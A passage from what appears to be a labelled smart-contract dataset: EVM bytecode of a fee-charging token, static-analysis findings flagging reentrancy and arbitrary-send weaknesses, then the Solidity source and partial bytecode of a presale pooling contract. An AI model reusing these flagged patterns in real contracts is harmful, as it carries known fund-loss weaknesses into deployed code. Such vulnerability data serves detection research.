1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6009600a819055506009600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af57600f600a81905550600f600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220611166c61c39c431704e34edd4b2e040427730e7a9d78efe0714c97ec8c3029f64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,423 |
0x847f2f9f21b14a60fda7e2e32a31766cfed04dd5 | pragma solidity ^0.4.19;
// Wolf Crypto pooling contract
// written by @iamdefinitelyahuman
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function balanceOf(address _owner) external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
}
interface WhiteList {
function isPaidUntil (address addr) external view returns (uint);
}
contract PresalePool {
// SafeMath is a library to ensure that math operations do not have overflow errors
// https://zeppelin-solidity.readthedocs.io/en/latest/safemath.html
using SafeMath for uint;
// The contract has 2 stages:
// 1 - The initial state. The owner is able to add addresses to the whitelist, and any whitelisted addresses can deposit or withdraw eth to the contract.
// 2 - The eth is sent from the contract to the receiver. Unused eth can be claimed by contributors immediately. Once tokens are sent to the contract,
// the owner enables withdrawals and contributors can withdraw their tokens.
uint8 public contractStage = 1;
// These variables are set at the time of contract creation
// address that creates the contract
address public owner;
uint maxContractBalance;
// maximum eth amount (in wei) that can be sent by a whitelisted address
uint contributionCap;
// the % of tokens kept by the contract owner
uint public feePct;
// the address that the pool will be paid out to
address public receiverAddress;
// These constant variables do not change with each contract deployment
// minimum eth amount (in wei) that can be sent by a whitelisted address
uint constant public contributionMin = 100000000000000000;
// maximum gas price allowed for deposits in stage 1
uint constant public maxGasPrice = 50000000000;
// whitelisting contract
WhiteList constant public whitelistContract = WhiteList(0xf6E386FA4794B58350e7B4Cb32B6f86Fb0F357d4);
bool whitelistIsActive = true;
// These variables are all initially set to 0 and will be set at some point during the contract
// epoch time that the next contribution caps become active
uint public nextCapTime;
// pending contribution caps
uint public nextContributionCap;
// block number of the last change to the receiving address (set if receiving address is changed, stage 1)
uint public addressChangeBlock;
// amount of eth (in wei) present in the contract when it was submitted
uint public finalBalance;
// array containing eth amounts to be refunded in stage 2
uint[] public ethRefundAmount;
// default token contract to be used for withdrawing tokens in stage 2
address public activeToken;
// data structure for holding the contribution amount, cap, eth refund status, and token withdrawal status for each whitelisted address
struct Contributor {
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
// mapping that holds the contributor struct for each whitelisted address
mapping (address => Contributor) whitelist;
// data structure for holding information related to token withdrawals.
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
// mapping that holds the token allocation struct for each token address
mapping (address => TokenAllocation) distributionMap;
// modifier for functions that can only be accessed by the contract creator
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
// modifier to prevent re-entrancy exploits during contract > contract interaction
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
// Events triggered throughout contract execution
// These can be watched via geth filters to keep up-to-date with the contract
event ContributorBalanceChanged (address contributor, uint totalBalance);
event ReceiverAddressSet ( address _addr);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, address token, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
// These are internal functions used for calculating fees, eth and token allocations as %
// returns a value as a % accurate to 20 decimal points
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
// returns % of any number, where % given was generated with toPct
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
// This function is called at the time of contract creation,
// it sets the initial variables and whitelists the contract owner.
function PresalePool (address receiverAddr, uint contractCap, uint cap, uint fee) public {
require (fee < 100);
require (contractCap >= cap);
owner = msg.sender;
receiverAddress = receiverAddr;
maxContractBalance = contractCap;
contributionCap = cap;
feePct = _toPct(fee,100);
}
// This function is called whenever eth is sent into the contract.
// The send will fail unless the contract is in stage one and the sender has been whitelisted.
// The amount sent is added to the balance in the Contributor struct associated with the sending address.
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else _ethRefund();
}
// Internal function for handling eth deposits during contract stage one.
function _ethDeposit () internal {
assert (contractStage == 1);
require (!whitelistIsActive || whitelistContract.isPaidUntil(msg.sender) > now);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= maxContractBalance);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
if (nextCapTime > 0 && nextCapTime < now) {
contributionCap = nextContributionCap;
nextCapTime = 0;
}
if (c.cap > 0) require (newBalance <= c.cap);
else require (newBalance <= contributionCap);
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
// Internal function for handling eth refunds during stage two.
function _ethRefund () internal {
assert (contractStage == 2);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
// This function is called to withdraw eth or tokens from the contract.
// It can only be called by addresses that are whitelisted and show a balance greater than 0.
// If called during stage one, the full eth balance deposited into the contract is returned and the contributor's balance reset to 0.
// If called during stage two, the contributor's unused eth will be returned, as well as any available tokens.
// The token address may be provided optionally to withdraw tokens that are not currently the default token (airdrops).
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage == 1) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
// This function allows the contract owner to force a withdrawal to any contributor.
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 2);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
// This internal function handles withdrawals during stage two.
// The associated events will fire to notify when a refund or token allocation is claimed.
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 2);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAddr,tokenAmount);
}
}
}
// This function is called by the owner to modify the contribution cap of a whitelisted address.
// If the current contribution balance exceeds the new cap, the excess balance is refunded.
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
require (cap <= maxContractBalance);
var c = whitelist[addr];
require (cap >= c.balance);
c.cap = cap;
}
// This function is called by the owner to modify the cap.
function modifyCap (uint cap) public onlyOwner {
require (contractStage == 1);
require (contributionCap <= cap && maxContractBalance >= cap);
contributionCap = cap;
nextCapTime = 0;
}
// This function is called by the owner to modify the cap at a future time.
function modifyNextCap (uint time, uint cap) public onlyOwner {
require (contractStage == 1);
require (contributionCap <= cap && maxContractBalance >= cap);
require (time > now);
nextCapTime = time;
nextContributionCap = cap;
}
// This function is called to modify the maximum balance of the contract.
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage == 1);
require (amount >= contributionMin);
require (amount >= this.balance);
maxContractBalance = amount;
if (amount < contributionCap) contributionCap = amount;
}
function toggleWhitelist (bool active) public onlyOwner {
whitelistIsActive = active;
}
// This callable function returns the total pool cap, current balance and remaining balance to be filled.
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = maxContractBalance.sub(this.balance);
} else {
remaining = 0;
}
return (maxContractBalance,this.balance,remaining);
}
// This callable function returns the balance, contribution cap, and remaining available balance of any contributor.
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (contractStage == 2) return (c.balance,0,0);
if (whitelistIsActive && whitelistContract.isPaidUntil(addr) < now) return (c.balance,0,0);
if (c.cap > 0) cap = c.cap;
else cap = contributionCap;
if (cap.sub(c.balance) > maxContractBalance.sub(this.balance)) return (c.balance, cap, maxContractBalance.sub(this.balance));
return (c.balance, cap, cap.sub(c.balance));
}
// This callable function returns the token balance that a contributor can currently claim.
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
// This function sets the receiving address that the contract will send the pooled eth to.
// It can only be called by the contract owner if the receiver address has not already been set.
// After making this call, the contract will be unable to send the pooled eth for 6000 blocks.
// This limitation is so that if the owner acts maliciously in making the change, all whitelisted
// addresses have ~24 hours to withdraw their eth from the contract.
function setReceiverAddress (address addr) public onlyOwner {
require (contractStage == 1);
receiverAddress = addr;
addressChangeBlock = block.number;
ReceiverAddressSet(addr);
}
// This function sends the pooled eth to the receiving address, calculates the % of unused eth to be returned,
// and advances the contract to stage two. It can only be called by the contract owner during stages one or two.
// The amount to send (given in wei) must be specified during the call. As this function can only be executed once,
// it is VERY IMPORTANT not to get the amount wrong.
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage == 1);
require (receiverAddress != 0x00);
require (block.number >= addressChangeBlock.add(6000));
if (amountInWei == 0) amountInWei = this.balance;
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
if (this.balance > 0) ethRefundAmount.push(this.balance);
contractStage = 2;
PoolSubmitted(receiverAddress, amountInWei);
}
// This function opens the contract up for token withdrawals.
// It can only be called by the owner during stage two. The owner specifies the address of an ERC20 token
// contract that this contract has a balance in, and optionally a bool to prevent this token from being
// the default withdrawal (in the event of an airdrop, for example).
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 2);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
// This is a standard function required for ERC223 compatibility.
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0x6060604052600436106101455763ffffffff60e060020a600035041663021bc974811461016a5780630370ca41146101a157806316fed3e2146101ca5780632129e25a146101f95780632aabb48e1461021e57806332cc6a9f1461023157806333e7ed611461024a5780633de39c11146102605780634fbc7e111461027357806351cff8d91461029757806352f1e07b146102b6578063737c2d8c146102cc5780637c02e1ea146102f15780637e4930ae1461030457806380e3f1ad1461031a5780638279c7db1461033257806384900b04146103515780638796d43d146103645780638da5cb5b14610377578063a02cf9371461038a578063abccb0431461039d578063adb5735c146103b3578063b9c009f0146103d8578063bcc13d1d146103f7578063be1890351461040a578063c0ee0b8a1461042c578063ece2ea4014610491575b60005460ff16600114156101605761015b6104a4565b610168565b61016861067d565b005b341561017557600080fd5b61017d610746565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156101ac57600080fd5b6101b4610797565b60405160ff909116815260200160405180910390f35b34156101d557600080fd5b6101dd6107a0565b604051600160a060020a03909116815260200160405180910390f35b341561020457600080fd5b61020c6107af565b60405190815260200160405180910390f35b341561022957600080fd5b61020c6107b5565b341561023c57600080fd5b6101686004356024356107bb565b341561025557600080fd5b610168600435610823565b341561026b57600080fd5b61020c6109dd565b341561027e57600080fd5b610168600160a060020a036004351660243515156109e6565b34156102a257600080fd5b610168600160a060020a0360043516610d32565b34156102c157600080fd5b61020c600435610e02565b34156102d757600080fd5b61020c600160a060020a0360043581169060243516610e21565b34156102fc57600080fd5b61020c610eb0565b341561030f57600080fd5b610168600435610eb6565b341561032557600080fd5b6101686004351515610f11565b341561033d57600080fd5b610168600160a060020a0360043516610f71565b341561035c57600080fd5b6101dd61100f565b341561036f57600080fd5b6101dd611027565b341561038257600080fd5b6101dd611036565b341561039557600080fd5b61020c61104a565b34156103a857600080fd5b610168600435611050565b34156103be57600080fd5b610168600160a060020a03600435811690602435166110c6565b34156103e357600080fd5b61017d600160a060020a036004351661112c565b341561040257600080fd5b61020c6112d2565b341561041557600080fd5b610168600160a060020a03600435166024356112de565b341561043757600080fd5b61016860048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061135195505050505050565b341561049c57600080fd5b61020c61139a565b60008054819060ff166001146104b657fe5b60045474010000000000000000000000000000000000000000900460ff16158061055b57504273f6e386fa4794b58350e7b4cb32b6f86fb0f357d46315c7ff343360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561053e57600080fd5b6102c65a03f1151561054f57600080fd5b50505060405180519050115b151561056657600080fd5b640ba43b74003a111561057857600080fd5b600154600160a060020a03301631111561059157600080fd5b600160a060020a0333166000908152600b6020526040902060018101549092506105c1903463ffffffff6113a016565b905067016345785d8a00008110156105d857600080fd5b60006005541180156105eb575042600554105b156105fc5760065460025560006005555b60008260020154111561061f57600282015481111561061a57600080fd5b61062e565b60025481111561062e57600080fd5b600182018190557fbd5304e38e372b10ebf161f6b67eeaf9f4e25653126622b0e2497484850d10f4338260